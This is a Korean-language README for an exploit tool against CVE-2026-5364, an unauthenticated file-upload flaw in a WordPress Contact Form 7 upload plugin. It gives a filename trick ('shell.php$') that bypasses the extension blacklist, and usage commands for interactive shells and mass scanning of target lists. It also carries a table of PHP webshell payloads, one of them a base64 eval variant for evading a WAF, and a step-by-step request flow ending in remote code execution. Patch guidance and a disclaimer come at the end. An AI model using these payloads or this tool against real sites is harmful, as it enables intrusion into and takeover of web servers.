
CVE-2026-5364는 Contact Form 7용 드래그 앤 드롭 파일 업로드에서 CVSS 8.1(높음)의 인증되지 않은 임의 파일 업로드 취약점입니다.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-5364 |
| 플러그인 | Contact Form 7용 드래그 앤 드롭 파일 업로드 |
| 슬러그 | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1(높음) |
| 벡터 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향 | <= 1.1.3 |
| 패치 | 1.1.4 |
| 연구자 | Thomas Sanzey |
| 게시일 | 2026년 4월 23일 |
플러그인은 sanitize_file_name() 정리 전에 파일 확장자를 읽습니다.
공격자는 shell.php$라는 파일을 업로드합니다:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← 블랙리스트 우회
sanitize_file_name('shell.php$') → 'shell.php' ← PHP로 저장됨
세 가지 독립적인 취약점 체인:
type POST 매개변수가 사용자로부터 읽힘pathinfo()가 원시 파일 이름에 적용됨wp_unique_filename() 내부의 sanitize_file_name()이 $ 문자를 제거함git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests 라이브러리# 기본 익스플로잇 (id 명령어)
python CVE-2026-5364.py -u https://target.com
# 사용자 정의 명령어
python CVE-2026-5364.py -u https://target.com -c "whoami"
# 대화형 셸
python CVE-2026-5364.py -u https://target.com --interactive
# 다른 셸 유형
python CVE-2026-5364.py -u https://target.com --shell exec
# 상세 출력 + 프록시
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20개 스레드로 스캔
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# 패치된 버전도 시도
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# 결과를 파일로 저장
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
대상:
-u, --url URL 단일 대상 URL
-l, --list FILE 대상 목록 (줄당 URL)
익스플로잇:
-c, --cmd CMD OS 명령어 (기본값: id)
--shell TYPE 웹쉘 유형: basic|exec|pass|eval|info
-i, --interactive 대화형 셸 열기
--no-skip-patched 패치된 버전도 시도
스캔:
-t, --threads N 스레드 수 (기본값: 10)
--timeout S 타임아웃 초 (기본값: 15)
--proxy URL 프록시 주소
출력:
-o, --output FILE 결과 파일
-v, --verbose 상세 출력
--no-color 색상 없는 출력
| 유형 | 페이로드 | 용도 |
|---|---|---|
basic | <?php system($_GET["cmd"]); ?> | 일반 목적 |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | 전체 출력 |
pass | <?php passthru($_GET["cmd"]); ?> | 바이너리 출력 |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | 은폐/WAF 우회 |
info | <?php phpinfo(); ?> | PHP 정보 |
1. Nonce 감지
└─ wp_localize_script()로 모든 방문자에게 공개
GET /contact/ → HTML 내 "nonce":"abc123def4"
2. 셸 업로드
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← 블랙리스트에 없음
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL 획득
└─ 응답: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sanitize_file_name()에 의해 제거되는 문자:
$ % ~ ` (공백)
도구는 모든 우회 문자를 자동으로 시도합니다.
| 요인 | 영향 |
|---|---|
Apache .htaccess (Content-Disposition: attachment) | PHP 실행 차단 |
| Nginx / LiteSpeed | .htaccess 무효 — RCE 가능 |
임의 파일 이름 (uniqid()) | AJAX 응답이 URL을 반환하므로 무효 |
| Nonce | CSRF 보호 — 인증 아님, 무효 |
플러그인을 1.1.4 이상 버전으로 업데이트하세요.
# WP-CLI로 업데이트
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// 잘못됨 (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// 올바름 (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type 매개변수는 더 이상 POST가 아닌 관리자 설정에서 읽음
$type = $this->get_admin_allowed_types($form_id);
이 도구는 교육 및 방어 목적의 보안 연구만을 위해 개발되었습니다. 허가되지 않은 시스템에서의 사용은 금지되며 법적 결과가 발생할 수 있습니다. 허가를 받은 시스템에서만 사용하세요.